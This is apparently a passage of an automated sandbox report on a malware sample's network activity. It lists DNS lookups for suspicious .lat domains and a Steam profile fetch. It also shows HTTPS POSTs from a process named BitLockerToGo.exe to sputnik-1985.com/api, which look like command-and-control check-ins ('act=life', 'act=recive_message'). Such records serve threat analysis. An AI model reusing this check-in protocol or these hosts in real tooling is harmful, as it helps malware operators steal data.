Jan 10, 2025 11:34:31.740864038 CET	49796	443	192.168.2.5	104.21.48.1
Jan 10, 2025 11:34:31.740995884 CET	49796	443	192.168.2.5	104.21.48.1
Jan 10, 2025 11:34:31.741024017 CET	443	49796	104.21.48.1	192.168.2.5
Jan 10, 2025 11:34:32.270318985 CET	443	49796	104.21.48.1	192.168.2.5
Jan 10, 2025 11:34:32.270461082 CET	443	49796	104.21.48.1	192.168.2.5
Jan 10, 2025 11:34:32.270642042 CET	49796	443	192.168.2.5	104.21.48.1
Jan 10, 2025 11:34:32.270873070 CET	49796	443	192.168.2.5	104.21.48.1
Jan 10, 2025 11:34:32.270889997 CET	443	49796	104.21.48.1	192.168.2.5
Jan 10, 2025 11:34:32.732028961 CET	49805	443	192.168.2.5	104.21.48.1
Jan 10, 2025 11:34:32.732065916 CET	443	49805	104.21.48.1	192.168.2.5
Jan 10, 2025 11:34:32.732144117 CET	49805	443	192.168.2.5	104.21.48.1
Jan 10, 2025 11:34:32.732526064 CET	49805	443	192.168.2.5	104.21.48.1
Jan 10, 2025 11:34:32.732539892 CET	443	49805	104.21.48.1	192.168.2.5
Jan 10, 2025 11:34:33.191675901 CET	443	49805	104.21.48.1	192.168.2.5
Jan 10, 2025 11:34:33.191826105 CET	49805	443	192.168.2.5	104.21.48.1
Jan 10, 2025 11:34:33.193406105 CET	49805	443	192.168.2.5	104.21.48.1
Jan 10, 2025 11:34:33.193435907 CET	443	49805	104.21.48.1	192.168.2.5
Jan 10, 2025 11:34:33.194076061 CET	443	49805	104.21.48.1	192.168.2.5
Jan 10, 2025 11:34:33.195302010 CET	49805	443	192.168.2.5	104.21.48.1
Jan 10, 2025 11:34:33.195415974 CET	49805	443	192.168.2.5	104.21.48.1
Jan 10, 2025 11:34:33.195453882 CET	443	49805	104.21.48.1	192.168.2.5
Jan 10, 2025 11:34:33.195516109 CET	49805	443	192.168.2.5	104.21.48.1
Jan 10, 2025 11:34:33.195530891 CET	443	49805	104.21.48.1	192.168.2.5
Jan 10, 2025 11:34:33.601208925 CET	61982	53	192.168.2.5	162.159.36.2
Jan 10, 2025 11:34:33.606096983 CET	53	61982	162.159.36.2	192.168.2.5
Jan 10, 2025 11:34:33.610688925 CET	61982	53	192.168.2.5	162.159.36.2
Jan 10, 2025 11:34:33.615534067 CET	53	61982	162.159.36.2	192.168.2.5
Jan 10, 2025 11:34:33.741085052 CET	443	49805	104.21.48.1	192.168.2.5
Jan 10, 2025 11:34:33.741200924 CET	443	49805	104.21.48.1	192.168.2.5
Jan 10, 2025 11:34:33.741362095 CET	49805	443	192.168.2.5	104.21.48.1
Jan 10, 2025 11:34:33.741421938 CET	49805	443	192.168.2.5	104.21.48.1
Jan 10, 2025 11:34:33.741441011 CET	443	49805	104.21.48.1	192.168.2.5
Jan 10, 2025 11:34:34.006797075 CET	61984	443	192.168.2.5	104.21.48.1
Jan 10, 2025 11:34:34.006846905 CET	443	61984	104.21.48.1	192.168.2.5
Jan 10, 2025 11:34:34.006930113 CET	61984	443	192.168.2.5	104.21.48.1
Jan 10, 2025 11:34:34.007266998 CET	61984	443	192.168.2.5	104.21.48.1
Jan 10, 2025 11:34:34.007283926 CET	443	61984	104.21.48.1	192.168.2.5
Jan 10, 2025 11:34:34.079252005 CET	61982	53	192.168.2.5	162.159.36.2
Jan 10, 2025 11:34:34.084379911 CET	53	61982	162.159.36.2	192.168.2.5
Jan 10, 2025 11:34:34.084445000 CET	61982	53	192.168.2.5	162.159.36.2
Jan 10, 2025 11:34:34.476430893 CET	443	61984	104.21.48.1	192.168.2.5
Jan 10, 2025 11:34:34.476499081 CET	61984	443	192.168.2.5	104.21.48.1
Jan 10, 2025 11:34:34.477688074 CET	61984	443	192.168.2.5	104.21.48.1
Jan 10, 2025 11:34:34.477695942 CET	443	61984	104.21.48.1	192.168.2.5
Jan 10, 2025 11:34:34.478041887 CET	443	61984	104.21.48.1	192.168.2.5
Jan 10, 2025 11:34:34.479207039 CET	61984	443	192.168.2.5	104.21.48.1
Jan 10, 2025 11:34:34.479367971 CET	61984	443	192.168.2.5	104.21.48.1
Jan 10, 2025 11:34:34.479397058 CET	443	61984	104.21.48.1	192.168.2.5
Jan 10, 2025 11:34:34.479458094 CET	61984	443	192.168.2.5	104.21.48.1
Jan 10, 2025 11:34:34.479468107 CET	443	61984	104.21.48.1	192.168.2.5
Jan 10, 2025 11:34:35.105427980 CET	443	61984	104.21.48.1	192.168.2.5
Jan 10, 2025 11:34:35.105547905 CET	443	61984	104.21.48.1	192.168.2.5
Jan 10, 2025 11:34:35.105609894 CET	61984	443	192.168.2.5	104.21.48.1
Jan 10, 2025 11:34:35.245300055 CET	61984	443	192.168.2.5	104.21.48.1
Jan 10, 2025 11:34:35.245318890 CET	443	61984	104.21.48.1	192.168.2.5
Jan 10, 2025 11:34:36.558376074 CET	62001	443	192.168.2.5	104.21.48.1
Jan 10, 2025 11:34:36.558410883 CET	443	62001	104.21.48.1	192.168.2.5
Jan 10, 2025 11:34:36.558501005 CET	62001	443	192.168.2.5	104.21.48.1
Jan 10, 2025 11:34:36.558903933 CET	62001	443	192.168.2.5	104.21.48.1
Jan 10, 2025 11:34:36.558919907 CET	443	62001	104.21.48.1	192.168.2.5
Jan 10, 2025 11:34:37.015221119 CET	443	62001	104.21.48.1	192.168.2.5
Jan 10, 2025 11:34:37.015415907 CET	62001	443	192.168.2.5	104.21.48.1
Jan 10, 2025 11:34:37.022039890 CET	62001	443	192.168.2.5	104.21.48.1
Jan 10, 2025 11:34:37.022059917 CET	443	62001	104.21.48.1	192.168.2.5
Jan 10, 2025 11:34:37.022336006 CET	443	62001	104.21.48.1	192.168.2.5
Jan 10, 2025 11:34:37.023618937 CET	62001	443	192.168.2.5	104.21.48.1
Jan 10, 2025 11:34:37.023746967 CET	62001	443	192.168.2.5	104.21.48.1
Jan 10, 2025 11:34:37.023751974 CET	443	62001	104.21.48.1	192.168.2.5
Jan 10, 2025 11:34:38.517438889 CET	443	62001	104.21.48.1	192.168.2.5
Jan 10, 2025 11:34:38.517534018 CET	443	62001	104.21.48.1	192.168.2.5
Jan 10, 2025 11:34:38.517591953 CET	62001	443	192.168.2.5	104.21.48.1
Jan 10, 2025 11:34:38.517688036 CET	62001	443	192.168.2.5	104.21.48.1
Jan 10, 2025 11:34:38.517705917 CET	443	62001	104.21.48.1	192.168.2.5
Jan 10, 2025 11:34:38.652731895 CET	62017	443	192.168.2.5	104.21.48.1
Jan 10, 2025 11:34:38.652765036 CET	443	62017	104.21.48.1	192.168.2.5
Jan 10, 2025 11:34:38.652843952 CET	62017	443	192.168.2.5	104.21.48.1
Jan 10, 2025 11:34:38.653167963 CET	62017	443	192.168.2.5	104.21.48.1
Jan 10, 2025 11:34:38.653184891 CET	443	62017	104.21.48.1	192.168.2.5
Jan 10, 2025 11:34:39.107798100 CET	443	62017	104.21.48.1	192.168.2.5
Jan 10, 2025 11:34:39.107891083 CET	62017	443	192.168.2.5	104.21.48.1
Jan 10, 2025 11:34:39.109462023 CET	62017	443	192.168.2.5	104.21.48.1
Jan 10, 2025 11:34:39.109472036 CET	443	62017	104.21.48.1	192.168.2.5
Jan 10, 2025 11:34:39.109739065 CET	443	62017	104.21.48.1	192.168.2.5
Jan 10, 2025 11:34:39.113020897 CET	62017	443	192.168.2.5	104.21.48.1
Jan 10, 2025 11:34:39.113141060 CET	62017	443	192.168.2.5	104.21.48.1
Jan 10, 2025 11:34:39.113154888 CET	443	62017	104.21.48.1	192.168.2.5
Jan 10, 2025 11:34:39.685358047 CET	443	62017	104.21.48.1	192.168.2.5
Jan 10, 2025 11:34:39.685436964 CET	443	62017	104.21.48.1	192.168.2.5
Jan 10, 2025 11:34:39.685508966 CET	62017	443	192.168.2.5	104.21.48.1
Jan 10, 2025 11:34:39.685676098 CET	62017	443	192.168.2.5	104.21.48.1
Jan 10, 2025 11:34:39.685688972 CET	443	62017	104.21.48.1	192.168.2.5
Jan 10, 2025 11:34:39.837852001 CET	62024	443	192.168.2.5	104.21.48.1
Jan 10, 2025 11:34:39.837862968 CET	443	62024	104.21.48.1	192.168.2.5
Jan 10, 2025 11:34:39.837964058 CET	62024	443	192.168.2.5	104.21.48.1
Jan 10, 2025 11:34:39.838355064 CET	62024	443	192.168.2.5	104.21.48.1
Jan 10, 2025 11:34:39.838366032 CET	443	62024	104.21.48.1	192.168.2.5
Jan 10, 2025 11:34:40.315154076 CET	443	62024	104.21.48.1	192.168.2.5
Jan 10, 2025 11:34:40.315229893 CET	62024	443	192.168.2.5	104.21.48.1
Jan 10, 2025 11:34:40.316433907 CET	62024	443	192.168.2.5	104.21.48.1
Jan 10, 2025 11:34:40.316443920 CET	443	62024	104.21.48.1	192.168.2.5
Jan 10, 2025 11:34:40.316685915 CET	443	62024	104.21.48.1	192.168.2.5
Jan 10, 2025 11:34:40.318182945 CET	62024	443	192.168.2.5	104.21.48.1
Jan 10, 2025 11:34:40.318219900 CET	62024	443	192.168.2.5	104.21.48.1
Jan 10, 2025 11:34:40.318276882 CET	443	62024	104.21.48.1	192.168.2.5
Jan 10, 2025 11:34:40.780596018 CET	443	62024	104.21.48.1	192.168.2.5
Jan 10, 2025 11:34:40.780854940 CET	443	62024	104.21.48.1	192.168.2.5
Jan 10, 2025 11:34:40.780925035 CET	62024	443	192.168.2.5	104.21.48.1
Jan 10, 2025 11:34:40.781073093 CET	62024	443	192.168.2.5	104.21.48.1
Jan 10, 2025 11:34:40.781086922 CET	443	62024	104.21.48.1	192.168.2.5
Jan 10, 2025 11:34:40.781097889 CET	62024	443	192.168.2.5	104.21.48.1
Jan 10, 2025 11:34:40.781101942 CET	443	62024	104.21.48.1	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 11:34:27.592979908 CET	49919	53	192.168.2.5	1.1.1.1
Jan 10, 2025 11:34:27.602564096 CET	53	49919	1.1.1.1	192.168.2.5
Jan 10, 2025 11:34:27.613414049 CET	51023	53	192.168.2.5	1.1.1.1
Jan 10, 2025 11:34:27.622258902 CET	53	51023	1.1.1.1	192.168.2.5
Jan 10, 2025 11:34:27.623847008 CET	63976	53	192.168.2.5	1.1.1.1
Jan 10, 2025 11:34:27.633722067 CET	53	63976	1.1.1.1	192.168.2.5
Jan 10, 2025 11:34:27.636199951 CET	65283	53	192.168.2.5	1.1.1.1
Jan 10, 2025 11:34:27.645395041 CET	53	65283	1.1.1.1	192.168.2.5
Jan 10, 2025 11:34:27.646656036 CET	57991	53	192.168.2.5	1.1.1.1
Jan 10, 2025 11:34:27.655909061 CET	53	57991	1.1.1.1	192.168.2.5
Jan 10, 2025 11:34:27.658560991 CET	57035	53	192.168.2.5	1.1.1.1
Jan 10, 2025 11:34:27.670572042 CET	53	57035	1.1.1.1	192.168.2.5
Jan 10, 2025 11:34:27.673815012 CET	58483	53	192.168.2.5	1.1.1.1
Jan 10, 2025 11:34:27.683118105 CET	53	58483	1.1.1.1	192.168.2.5
Jan 10, 2025 11:34:27.684905052 CET	50267	53	192.168.2.5	1.1.1.1
Jan 10, 2025 11:34:27.693346024 CET	53	50267	1.1.1.1	192.168.2.5
Jan 10, 2025 11:34:27.695225000 CET	55149	53	192.168.2.5	1.1.1.1
Jan 10, 2025 11:34:27.705284119 CET	53	55149	1.1.1.1	192.168.2.5
Jan 10, 2025 11:34:27.707674026 CET	57112	53	192.168.2.5	1.1.1.1
Jan 10, 2025 11:34:27.714346886 CET	53	57112	1.1.1.1	192.168.2.5
Jan 10, 2025 11:34:29.009962082 CET	55852	53	192.168.2.5	1.1.1.1
Jan 10, 2025 11:34:29.019952059 CET	53	55852	1.1.1.1	192.168.2.5
Jan 10, 2025 11:34:33.597028017 CET	53	59261	162.159.36.2	192.168.2.5
Jan 10, 2025 11:34:34.088170052 CET	65068	53	192.168.2.5	1.1.1.1
Jan 10, 2025 11:34:34.095875025 CET	53	65068	1.1.1.1	192.168.2.5
Jan 10, 2025 11:34:46.350358963 CET	62182	53	192.168.2.5	1.1.1.1
Jan 10, 2025 11:34:46.359170914 CET	53	62182	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 11:34:27.592979908 CET	192.168.2.5	1.1.1.1	0xda3a	Standard query (0)	enterwahsh.biz	A (IP address)	IN (0x0001)	false
Jan 10, 2025 11:34:27.613414049 CET	192.168.2.5	1.1.1.1	0xfee1	Standard query (0)	wordyfindy.lat	A (IP address)	IN (0x0001)	false
Jan 10, 2025 11:34:27.623847008 CET	192.168.2.5	1.1.1.1	0x102f	Standard query (0)	slipperyloo.lat	A (IP address)	IN (0x0001)	false
Jan 10, 2025 11:34:27.636199951 CET	192.168.2.5	1.1.1.1	0xe069	Standard query (0)	manyrestro.lat	A (IP address)	IN (0x0001)	false
Jan 10, 2025 11:34:27.646656036 CET	192.168.2.5	1.1.1.1	0x51cd	Standard query (0)	shapestickyr.lat	A (IP address)	IN (0x0001)	false
Jan 10, 2025 11:34:27.658560991 CET	192.168.2.5	1.1.1.1	0xde78	Standard query (0)	talkynicer.lat	A (IP address)	IN (0x0001)	false
Jan 10, 2025 11:34:27.673815012 CET	192.168.2.5	1.1.1.1	0x82f2	Standard query (0)	curverpluch.lat	A (IP address)	IN (0x0001)	false
Jan 10, 2025 11:34:27.684905052 CET	192.168.2.5	1.1.1.1	0xf2b6	Standard query (0)	tentabatte.lat	A (IP address)	IN (0x0001)	false
Jan 10, 2025 11:34:27.695225000 CET	192.168.2.5	1.1.1.1	0x260	Standard query (0)	bashfulacid.lat	A (IP address)	IN (0x0001)	false
Jan 10, 2025 11:34:27.707674026 CET	192.168.2.5	1.1.1.1	0x5b7d	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 11:34:29.009962082 CET	192.168.2.5	1.1.1.1	0xba25	Standard query (0)	sputnik-1985.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 11:34:34.088170052 CET	192.168.2.5	1.1.1.1	0xb433	Standard query (0)	198.187.3.20.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false
Jan 10, 2025 11:34:46.350358963 CET	192.168.2.5	1.1.1.1	0x94b2	Standard query (0)	53.210.109.20.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 11:34:27.602564096 CET	1.1.1.1	192.168.2.5	0xda3a	Name error (3)	enterwahsh.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 10, 2025 11:34:27.622258902 CET	1.1.1.1	192.168.2.5	0xfee1	Name error (3)	wordyfindy.lat	none	none	A (IP address)	IN (0x0001)	false
Jan 10, 2025 11:34:27.633722067 CET	1.1.1.1	192.168.2.5	0x102f	Name error (3)	slipperyloo.lat	none	none	A (IP address)	IN (0x0001)	false
Jan 10, 2025 11:34:27.645395041 CET	1.1.1.1	192.168.2.5	0xe069	Name error (3)	manyrestro.lat	none	none	A (IP address)	IN (0x0001)	false
Jan 10, 2025 11:34:27.655909061 CET	1.1.1.1	192.168.2.5	0x51cd	Name error (3)	shapestickyr.lat	none	none	A (IP address)	IN (0x0001)	false
Jan 10, 2025 11:34:27.670572042 CET	1.1.1.1	192.168.2.5	0xde78	Name error (3)	talkynicer.lat	none	none	A (IP address)	IN (0x0001)	false
Jan 10, 2025 11:34:27.683118105 CET	1.1.1.1	192.168.2.5	0x82f2	Name error (3)	curverpluch.lat	none	none	A (IP address)	IN (0x0001)	false
Jan 10, 2025 11:34:27.693346024 CET	1.1.1.1	192.168.2.5	0xf2b6	Name error (3)	tentabatte.lat	none	none	A (IP address)	IN (0x0001)	false
Jan 10, 2025 11:34:27.705284119 CET	1.1.1.1	192.168.2.5	0x260	Name error (3)	bashfulacid.lat	none	none	A (IP address)	IN (0x0001)	false
Jan 10, 2025 11:34:27.714346886 CET	1.1.1.1	192.168.2.5	0x5b7d	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Jan 10, 2025 11:34:29.019952059 CET	1.1.1.1	192.168.2.5	0xba25	No error (0)	sputnik-1985.com		104.21.48.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 11:34:29.019952059 CET	1.1.1.1	192.168.2.5	0xba25	No error (0)	sputnik-1985.com		104.21.16.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 11:34:29.019952059 CET	1.1.1.1	192.168.2.5	0xba25	No error (0)	sputnik-1985.com		104.21.32.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 11:34:29.019952059 CET	1.1.1.1	192.168.2.5	0xba25	No error (0)	sputnik-1985.com		104.21.112.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 11:34:29.019952059 CET	1.1.1.1	192.168.2.5	0xba25	No error (0)	sputnik-1985.com		104.21.80.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 11:34:29.019952059 CET	1.1.1.1	192.168.2.5	0xba25	No error (0)	sputnik-1985.com		104.21.64.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 11:34:29.019952059 CET	1.1.1.1	192.168.2.5	0xba25	No error (0)	sputnik-1985.com		104.21.96.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 11:34:34.095875025 CET	1.1.1.1	192.168.2.5	0xb433	Name error (3)	198.187.3.20.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false
Jan 10, 2025 11:34:46.359170914 CET	1.1.1.1	192.168.2.5	0x94b2	Name error (3)	53.210.109.20.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false

HTTP Request Dependency Graph

steamcommunity.com

sputnik-1985.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49770	104.102.49.254	443	6204	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 10:34:28 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2025-01-10 10:34:28 UTC	1905	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq. [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Fri, 10 Jan 2025 10:34:28 GMT Content-Length: 35126 Connection: close Set-Cookie: sessionid=9cf190a5d991b4bebe33d12e; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7C185ce35c568ebbb18a145d0cabae7186; Path=/; Secure; HttpOnly; SameSite=None
2025-01-10 10:34:28 UTC	14479	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0a 09 09 3c 74 69 74 6c 65 3e Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><title>
2025-01-10 10:34:28 UTC	16384	IN	Data Raw: 69 74 79 2e 63 6f 6d 2f 3f 73 75 62 73 65 63 74 69 6f 6e 3d 62 72 6f 61 64 63 61 73 74 73 22 3e 0a 09 09 09 09 09 09 42 72 6f 61 64 63 61 73 74 73 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 6d 65 6e 75 69 74 65 6d 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 6f 72 65 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 61 62 6f 75 74 2f 22 3e 0a 09 09 09 09 41 62 6f 75 74 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 6d 65 6e 75 69 74 65 6d 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 65 6c 70 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 65 6e 2f 22 3e 0a 09 09 09 09 53 55 50 50 4f Data Ascii: ity.com/?subsection=broadcasts">Broadcasts</a></div><a class="menuitem " href="https://store.steampowered.com/about/">About</a><a class="menuitem " href="https://help.steampowered.com/en/">SUPPO
2025-01-10 10:34:28 UTC	3768	IN	Data Raw: 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 68 65 61 64 65 72 5f 61 63 74 69 6f 6e 73 22 3e 0a 09 09 09 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 68 65 61 64 65 72 5f 73 75 6d 6d 61 72 79 22 3e 0a 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 65 72 73 6f 6e 61 5f 6e 61 6d 65 20 70 65 72 73 6f 6e 61 5f 6e 61 6d 65 5f 73 70 61 63 65 72 22 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 34 70 78 3b 22 3e 0a 09 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 61 63 74 75 61 6c 5f 70 65 72 73 6f 6e 61 5f Data Ascii: </a></div><div class="profile_header_actions"></div></div><div class="profile_header_summary"><div class="persona_name persona_name_spacer" style="font-size: 24px;"><span class="actual_persona_
2025-01-10 10:34:28 UTC	495	IN	Data Raw: 63 72 69 62 65 72 20 41 67 72 65 65 6d 65 6e 74 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 26 6e 62 73 70 3b 7c 20 26 6e 62 73 70 3b 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 73 74 6f 72 65 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 61 63 63 6f 75 6e 74 2f 63 6f 6f 6b 69 65 70 72 65 66 65 72 65 6e 63 65 73 2f 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 3e 43 6f 6f 6b 69 65 73 3c 2f 61 3e 0a 09 09 09 09 09 09 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 09 09 09 09 09 3c 2f 73 70 61 6e 3e 0a 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 65 73 70 6f 6e 73 69 76 65 5f 6f 70 74 69 6e 5f 6c 69 6e 6b 22 3e 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 Data Ascii: criber Agreement</a>  \|  <a href="http://store.steampowered.com/account/cookiepreferences/" target="_blank">Cookies</a></span></span></div><div class="responsive_optin_link"><div clas

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49780	104.21.48.1	443	6204	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 10:34:29 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: sputnik-1985.com
2025-01-10 10:34:29 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2025-01-10 10:34:29 UTC	1127	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 10:34:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=mhnh1nk4hl94prbe9r05mc29gb; expires=Tue, 06 May 2025 04:21:08 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cfnfADT1o6BkEsukU0MBpCJ7FWsrh5kmj5TRfIKw8tan1A4%2FX4auk0ApqAs2%2F%2FH08l0RMUOeWMa%2BV6zFk4FlxSplm59YlsEfp2hcsKLh%2F67cLYb2BPDAQlXBpLu4E%2BnV5YvX"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffc03ceba9e43be-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1553&min_rtt=1544&rtt_var=597&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2840&recv_bytes=907&delivery_rate=1806930&cwnd=226&unsent_bytes=0&cid=d93fd9b1dec438d7&ts=445&x=0"
2025-01-10 10:34:29 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2025-01-10 10:34:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49787	104.21.48.1	443	6204	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 10:34:30 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 86 Host: sputnik-1985.com
2025-01-10 10:34:30 UTC	86	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 48 70 4f 6f 49 68 2d 2d 62 64 34 65 38 31 39 35 31 33 30 36 26 6a 3d 62 39 61 62 63 37 36 63 65 35 33 62 36 66 63 33 61 30 33 35 36 36 66 38 66 37 36 34 66 35 65 61 Data Ascii: act=recive_message&ver=4.0&lid=HpOoIh--bd4e81951306&j=b9abc76ce53b6fc3a03566f8f764f5ea
2025-01-10 10:34:30 UTC	1117	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 10:34:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=elph9dbe4i5vh6lbte98gjfh15; expires=Tue, 06 May 2025 04:21:09 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=X%2BuByb7wewoRNzuSlAIoaXGi76K15RLW15rN3K9RBBi3uvGXzogO6hdGqSdYFry6ErWoaJExrLBOVF5zIGQgb89eq6st3hoIeZcawLBItA8r4FQlImlKvqfsbtr0zVnUjTkX"}],"group":"cf-nel","max_age":604800} NEL: 